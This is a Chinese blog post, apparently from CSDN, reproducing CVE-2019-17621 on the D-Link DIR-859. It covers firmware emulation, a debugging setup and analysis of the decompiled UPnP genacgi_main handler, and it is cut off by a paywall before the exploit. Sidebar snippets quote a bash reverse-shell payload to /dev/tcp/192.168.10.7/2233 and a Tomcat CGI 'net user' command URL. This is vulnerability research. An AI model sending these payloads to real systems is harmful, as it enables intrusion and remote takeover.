D-Link DIR-859的RCE漏洞 CVE-2019–17621

最新推荐文章于 2023-12-30 16:18:07 发布
最新推荐文章于 2023-12-30 16:18:07 发布
阅读量1.8k 收藏
点赞数 1
分类专栏： linux pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Mira_Hu/article/details/103887248
版权

一、模拟运行固件
二、程序调试
三、漏洞分析
四、执行exp，获取shell

一、模拟运行固件

1.环境搭建

使用attifyos 中的环境进行模拟时可能会出现各种问题，后来自己搭建环境，可以正常运行。

  1. firmadyne 环境搭建： https://github.com/firmadyne/firmadyne
  2. qemu 编译安装：https://download.qemu.org/qemu-2.5.0.tar.bz2

qemu 建议使用 qemu-2.5.0 版本进行编译安装
在安装之前，请修复 linux-user/elfload.c 中elf_check_ehdr 函数的一个 bug：
插入 && ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件

修改之前：

/* Verify the portions of EHDR outside of E_IDENT for the target.
   This has to wait until after bswapping the header.  */
static bool elf_check_ehdr(struct elfhdr *ehdr)
{
   
    return (elf_check_arch(ehdr->e_machine)
            && ehdr->e_ehsize == sizeof(struct elfhdr)
            && ehdr->e_phentsize == sizeof(struct elf_phdr)
            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}

修改后：

static bool elf_check_ehdr(struct elfhdr *ehdr)
{
   
    return (elf_check_arch(ehdr->e_machine)
            && ehdr->e_ehsize == sizeof(struct elfhdr)
            && ehdr->e_phentsize == sizeof(struct elf_phdr)
			&& ehdr->e_shentsize == sizeof(struct elf_shdr)
            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}

编译：

./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --static
sudo make -j8
2.模拟运行固件

  1. 将 DIR859Ax_FW105b03.bin 固件复制到 firmadyne 目录下

  2. 在firmadyne 目录下执行以下命令：

    sudo su
rm -rf images*
sh ./reset.sh
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./database/schema
./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np -nk "DIR859Ax_FW105b03.bin" images
./scripts/getArch.sh ./images/1.tar.gz	# 获取架构信息并保存到数据库中
./scripts/makeImage.sh 1				# 制作镜像文件成文件系统
./scripts/inferNetwork.sh 1				# 自动生成配置仿真环境网卡信息
./scratch/1/run.sh						# 运行仿真环境
ip 信息：

在这里插入图片描述
配置网卡信息是，本地会生成一个与 ip 同网段的网卡：
在这里插入图片描述

运行固件：./scratch/1/run.sh

在这里插入图片描述
可以看出路由器固件 ip为： 192.168.0.1

浏览器中输入 192.168.0.1 访问仿真路由器：

在这里插入图片描述
至此，固件模拟运行成功。

二、程序调试

1. 启动 mips 系统

run-mips-sys.sh脚本信息如下：

oit@ubuntu:/home/qemu-vmsys/mips$ cat run-mips-sys.sh
sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic

在这里插入图片描述
其中， msb_mips_gdbserver 是静态的 gdbserver, 之后用于 固件系统中程序的调试。信息如下：

oit@ubuntu:/home/qemu-vmsys/mips$ file ./msb_mips_gdbserver 
./msb_mips_gdbserver: ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped

执行脚本启动 mips 系统： run-mips-sys.sh
输入 longin:root Password:root
在这里插入图片描述

2. 挂载固件跟文件系统

  • 解包固件：binwalk -Me DIR859Ax_FW105b03.bin

    oit@ubuntu:~/tools/Template/dir_859$ binwalk -Me ./DIR859Ax_FW105b03.bin
    oit@ubuntu:~/tools/Template/dir_859$ cd _DIR859Ax_FW105b03.bin.extracted/在这里插入图片描述

  • 将跟文件系统 squashfs-root 和 msb_mips_gdbserver 传到 debian-mips系统中：
    在这里插入图片描述

  • 将 msb_mips_gdbserver 复制到 squashfs-root 目录下：
    cp ./msb_mips_gdbserver ./squashfs-root

  • 挂载跟文件系统并启动
    root@debian-mips:~#mount -o bind /dev/ ./squashfs-root/dev/
    root@debian-mips:~#mount -t proc /proc/ ./squashfs-root/proc/
    root@debian-mips:~#chroot ./squashfs-root sh
    查看文件系统中运行的进程：

     chroot ./squashfs-root shroot@debian-mips:~# chroot ./squashfs-root/ sh
 BusyBox v1.14.1 (2016-06-28 10:53:08 CST) built-in shell (msh)
 Enter 'help' for a list of built-in commands.
 
 # ps
   PID USER       VSZ STAT COMMAND
     1 0         2660 S    init [2]   
     2 0            0 SW   [kthreadd]
     3 0            0 SW   [ksoftirqd/0]
     6 0            0 SW   [watchdog/0]
     7 0            0 SW<  [cpuset]
     8 0            0 SW<  [khelper]
     9 0            0 SW   [kdevtmpfs]
    10 0            0 SW<  [netns]
    11 0            0 SW   [sync_supers]
    12 0            0 SW   [bdi-default]
    13 0            0 SW<  [kintegrityd]
    14 0            0 SW<  [kblockd]
    15 0            0 SW<  [ata_sff]
    16 0            0 SW<  [rpciod]
    18 0            0 SW   [khungtaskd]
    19 0            0 SW   [kswapd0]
    20 0            0 SWN  [ksmd]
    21 0            0 SW   [fsnotify_mark]
    22 0            0 SW<  [nfsiod]
    23 0            0 SW<  [crypto]
    26 0            0 SW   [scsi_eh_0]
    27 0            0 SW   [scsi_eh_1]
    28 0            0 SW   [kworker/u:1]
    31 0            0 SW   [kworker/u:3]
    32 0            0 SW   [jbd2/sda1-8]
    33 0            0 SW<  [ext4-dio-unwrit]
   157 0         3408 S    udevd --daemon 
   221 0            0 SW<  [kpsmoused]
   222 0            0 SW   [khubd]
   636 0         3344 S    udevd --daemon 
   637 0         3344 S    udevd --daemon 
  1631 0         5160 S    dhclient -v -pf /run/dhclient.eth0.pid -lf /var/lib/d
  1633 0         3012 S    /sbin/rpcbind -w 
  1677 102       3400 S    /sbin/rpc.statd 
  1689 0         3412 S    /usr/sbin/rpc.idmapd 
  1960 0        29752 S    /usr/sbin/rsyslogd -c5 
  2009 1         2800 S    /usr/sbin/atd 
  2021 0         4536 S    /usr/sbin/cron 
  2167 0         7664 S    /usr/sbin/sshd 
  2345 101       8924 S    /usr/sbin/exim4 -bd -q30m 
  2372 0         2812 S    /sbin/getty 38400 tty1 
  2373 0         2812 S    /sbin/getty 38400 tty2 
  2374 0         2812 S    /sbin/getty 38400 tty3 
  2375 0         2812 S    /sbin/getty 38400 tty4 
  2376 0         2812 S    /sbin/getty 38400 tty5 
  2377 0         2812 S    /sbin/getty 38400 tty6 
  2378 0         4520 S    /bin/login --      
  2379 0         6120 S    -bash 
  2389 0        11144 S    sshd: root@pts/0  
  2391 0         6108 S    -bash 
  2399 0         2588 S    /usr/lib/openssh/sftp-server 
  2583 0            0 SW   [kworker/0:1]
  2896 0        11012 S    sshd: root@notty  
  2898 0         2588 S    /usr/lib/openssh/sftp-server 
  2937 0            0 SW   [kworker/0:0]
  3036 0            0 SW   [flush-8:0]
  3052 0            0 SW   [kworker/0:2]
  3057 0          856 S    sh 
  3058 0          748 R    ps 
  #

    查看网络：
    在这里插入图片描述
    由此可知，跟文件系统在mips系统中成功挂载并运行。

3. 程序调试测试：msb_mips_gdbserver、IDA

这里测试 /htdocs/cgibin 文件的远程调试（ /htdocs/cgibin 后面会用到）

  • 执行 ./msb_mips_gdbserver 192.168.126.150:1234 /htdocs/cgibin
    远程ip: 192.168.126.150
    监听端口：1234
    /htdocs/cgibin：调试程序
    在这里插入图片描述
  • 将 /htdocs/cgibin 复制到 pc下，用ida打开
    在main 函数处下断点，按 F9运行->选择Remote GDB debuger
    在这里插入图片描述
    点击OK，输入Hostname 和 Port：(启动gdbserver 时设置的 )
    Hostname: 192.168.126.150
    Port:1234
    在这里插入图片描述
    点击OK,出现调试界面
    在这里插入图片描述
    F9 运行，执行到刚才main 函数断点处
    在这里插入图片描述
    由此可以看到，一切正常，说明环境配置及远程调试没有问题。

三、漏洞分析

对于漏洞分析，参考原文：
https://blog.csdn.net/NOSEC2019/article/details/103823845
根据纰漏，可知远程代码执行漏洞在UPnP请求的代码中。

1. UPnP协议栈

UPnP是实现智能设备端到端网络连接的结构。它也是一种架构在TCP/IP和HTTP技术之上的，分布式、开放的网络结构，以使得在联网的设备间传递控制和数据。UPnP 技术实现了 控制点、 设备和 服务之间通讯的支持，并且设备和相关服务的也使用XML定义并且公布出来。使用UPnP，设备可以动态加入网络，自动获得一个IP地址，向其他设备公布它的能力或者获知其他设备的存在和服务，所有这些过程都是自动完成的，此后设备能够彼此直接通讯。
UPnP不需要设备驱动程序，因此使用UPnP建立的网络是介质无关的。同时UPnP使用标准的TCP/IP和网络协议，使它能够无缝的融入现有网络。构造UPnP应用程序时可以使用任何语言，并在任何操作系统平台上编译运行。对于设备的描述，使用HTML表单表述设备控制界面。它既允许设备供应商提供基于浏览器的用户界面和编程控制接口，也允许开发人员定制自己的设备界面。

2. 漏洞所在位置

在满足一定前置条件情况下，二进制可执行文件/htdocs/cgibin中的genacgi_main()函数包含了可远程执行代码的漏洞。

使用 ghidra 查看 genacgi_main() 函数的反编译代码：

undefined4 genacgi_main(void)

{
   
  char *pcVar1;
  char *env_http_callback;
  char *__s1;
  char *env_http_nt;
  char *env_REMOTE_ADDR;
  size_t sVar2;
  __pid_t pid;
  __pid_t _Var3;
  char *pcVar4;
  undefined4 uVar5;
  int iVar6;
  int iVar7;
  int iVar8;
  char buf8 [8];
  char acStack528 [500];
  undefined *local_18;
  
  local_18 = &_gp;
  pcVar4 = getenv("REQUEST_METHOD");
  if (pcVar4 == (char *)0x0) {
   
    return 0xffffffff;
  }
                    /* getenv */
  uVar5 = (**(code **)(local_18 + -0x7c90))("REQUEST_URI");
                    /* strchr */
  iVar6 = (**(code **)(local_18 + -0x7f78))(uVar5,0x3f);
  if (iVar6 == 0) {
   
    return 0xffffffff;
  }
                    /* strncmp */
  iVar7 = (**(code **)(local_18 + -0x7d44))(iVar6,"?service=",9);
  if (iVar7 != 0) {
   
    return 0xffffffff;
  }
                    /* strcasecmp */
  iVar7 = (**(code **)(local_18 + -0x7d30))(pcVar4,"SUBSCRIBE");
  uri_service <
最低0.47元/天 解锁文章
Mira1127
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
CVE-2019-12814:CVE-2019-12814
05-26
**CVE-2019-12814：Jackson数据绑定库的远程代码执行漏洞** CVE-2019-12814是一个针对Java Jackson数据绑定库的重大安全漏洞，该漏洞允许攻击者通过恶意构造的JSON输入在解析过程中执行任意代码，从而可能导致系统...
DLink_RCE_CVE-2019-17621浅析
Starr
04-20 4559
文章目录漏洞信息Firmadyne信息收集UPnP协议漏洞分析调试Exp参考资料 漏洞信息 CVE - CVE-2019-17621 (mitre.org) 漏洞服务：UPnP 相关URL：/gena.cgi 描述：给UPnP服务发送构造好的HTTP SUBSCRIBE请求，实现root权限RCE。 固件下载链接 Firmadyne $ sudo python3 ./sources/extractor/extractor.py -b DLink -sql 127.0.0.1 -np -nk ./DIR822
DIR-859漏洞复现（CVE-2019-20215）
CZ010822的博客
10-11 139
查看ssdpcgi_main，获取环境变量，并判断是否带单引号，我们可以构造的环境变量时ST，即V2，可以在V2中添加待执行的命令，需满足V2开始为urn:或uuid:。发送ssdp:discover数据包，使main函数调用ssdpgi_main。函数结束时会执行V2字符串中包含的命令，V2由传入参数构成。（应该是lxmldbc_system(v2)，软件问题）固件版本：DIR859Ax_FW105b03.bin。工具：FirmAE、binwalk、ida。虚拟机：Ubuntu18.04。
物联网安全实战从零开始-CVE-2019-1762
ZetaByte的博客
08-16 407
本环境是蛇矛实验室基于"火天网演攻防演训靶场"进行搭建，通过火天网演中的环境构建模块，可以灵活的对目标网络进行设计和配置，并且可以快速进行场景搭建和复现验证工作。
spring常见漏洞总结
hongduilanjun的博客
07-21 4915
Spring的英文翻译为春天，可以说是给Java程序员带来了春天，因为它极大的简化了开发。得出一个公式Spring=春天=Java程序员的春天=简化开发。最后的简化开发正是Spring框架带来的最大好处。Spring是一个开放源代码的设计层面框架，它是于2003年兴起的一个轻量级的Java开发框架。由RodJohnson创建，其前身为Interface21框架，后改为了Spring并且正式发布。Spring是为了解决企业应用开发的复杂性而创建的。...
spring漏洞合集 下
寒星的博客
05-07 5442
前言 现在的 java 开放的网站十个里面有九个是 spring 写的。网上对 spring 相关漏洞的资料很多，但是总结的文章却很少，再加上 spring 庞大的生态，每当看到 spring 相关网站的时候，脑子里虽然零零散散冒出来一堆漏洞，但是却不知道哪些符合当前环境。 因此搜集了所有 spring 相关漏洞，对它们的利用条件和检测方式进行梳理和总结，希望在面对 spring 的时候，能够有一个更完整的思路去发现漏洞。 这里更多是的是的利用条件和检测方式的总结，主要以发现漏洞为目的，至于如何将漏洞效果最
CVE-2021-21972：CVE-2021-21972漏洞利用
03-04
CVE-2021-21972 CVE-2021-21972工作于VMware-VCSA-all-6.7.0-8217866，VMware-VIM-all-6.7.0-8217866 :heavy_check_mark: VMware-VCSA-all-6.5.0-16613358 :heavy_check_mark:对于vCenter6.7 U2 + vCenter 6.7U2 +在...
CVE-2019-19781 Citrix Application Delivery Controller和RCE.MD
04-13
CVE-2019-19781 Citrix Application Delivery Controller和RCE
向日葵RCE漏洞（CNVD-2022-10270）检测工具
02-19
向日葵RCE漏洞（CNVD-2022-10270）检测工具，已经编译好，命令行运行即可 xrkrce.exe -h 127.0.0.1
DIR-815_FIRMWARE_1.01.ZIP
04-12
DIR-815_FIRMWARE_1.01.ZIP
CVE-2019-0232 Tomcat RCE 远程命令执行漏洞 复现环境
04-18
本附件是对CVE-2019-0232 Tomcat RCE 远程命令执行漏洞 的复现环境。 将文件下载到本地，直接运行tomcat 启动服务器，地址栏输入 http://localhost:8080/cgi-bin/hello.bat?c:/windows/system32/net user 即可看到...
SpringBoot漏洞
热门推荐
weixin_51151498的博客
01-19 1万+
spring漏洞
Spring 框架相关漏洞详解合集
zjjcchina的博客
01-19 4231
虽说是 Spring 框架漏洞，但以下包含并不仅 Spring Framework，Spring Boot，还有 Spring Cloud，Spring Data，Spring Security 等。 CVE-2010-1622 Spring Framework class.classLoader 类远程代码执行 影响版本：SpringSource Spring Framework 3.0.0 - 3.0.2、SpringSource Spring Framework 2.5.0 - 2.5.7
spring漏洞合集及其poc合集
weixin_46626737的博客
08-21 491
在post请求体中加上_eventId_confirm=&_csrf=4962b53e-b8c7-4290-8fa4-10dd87fd6ead&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.10.7/2233 +0>%261")).start()=vulhub。1）漏洞原理：Spring Data REST是一个构建在Spring Data之上，为了帮助开发者更加容易地开发REST风格的Web服务。
Spring框架漏洞合集
小小猪的博客
08-18 7880
Spring框架漏洞合集 Spring Security OAuth2 远程命令执行漏洞（CVE-2016-4977） 访问路径/oauth/authorize，会看到左上角有个绿色叶子的标志，一般都是spring或者springboot 直接打poc，可以看到有el表达式注入的形式 /oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test 如果要
【干货】Spring远程命令执行漏洞（CVE-2022-22965）原理分析和思考
qq_53058639的博客
07-22 1391
上周网上爆出Spring框架存在RCE漏洞，野外流传了一小段时间后，Spring官方在3月31日正式发布了漏洞信息，漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析，希望能够帮助到有相关有需要的人员进一步研究。
【网络安全】Spring框架漏洞总结（一）
kali_Ma的博客
09-10 2581
Spring简介 Spring是Java EE编程领域的一个轻量级开源框架，该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建，是为了解决企业级编程开发中的复杂性，业务逻辑层和其他各层的松耦合问题，因此它将面向接口的编程思想贯穿整个系统应用，实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构，分层架构允许使用者选择使用哪一个组件，同时为J2EE应用程序开发提供集成的框架。 2009年9月Spring 3.0 RC1发布后，Spring就引入了SpEL (Spring Expr
从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具
最新发布
milu_Sec的博客
12-30 1719
SpEL是基于Spring的一个表达式语言，类似于Struts2的 OGNL，能够在运行时动态执行一些运算或指令，类似于Java的反射功能。共分为三类：一. 直接在注解中使用二. 在XML文件中使用三. 在代码块中使用Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包，是一个包含Spring框架基本的核心工具包，Spring其他组件都要使用到这个包。未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行。
CVE-2017-15715漏洞和SSI-RCE漏洞。
07-27
CVE-2017-15715是一个存在于Apache Tomcat软件中的漏洞，该漏洞使得攻击者可以通过发送特制的HTTP请求，触发目标服务器上的远程代码执行。这个漏洞的影响范围是Tomcat 9.0.0.M1到9.0.0.M28版本（不包括9.0.0.M9版本）。如果目标服务器受到此漏洞的影响，攻击者可以利用它执行任意代码，可能导致敏感信息泄露或服务器完全被控制。 SSI-RCE漏洞是一种服务器端包含（SSI）漏洞，可能导致远程命令执行。SSI是一种服务器端处理动态内容的技术，它允许将外部文件包含到网页中。如果服务器未正确配置和过滤用户提供的输入，攻击者可以通过注入恶意代码来执行任意命令。这种漏洞可能会导致服务器被完全控制，从而造成数据泄露、服务拒绝或其他恶意行为。 请注意，对于具体的漏洞信息和修复建议，请查阅相应漏洞的CVE编号或相关安全公告以获取更准确和详细的信息。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值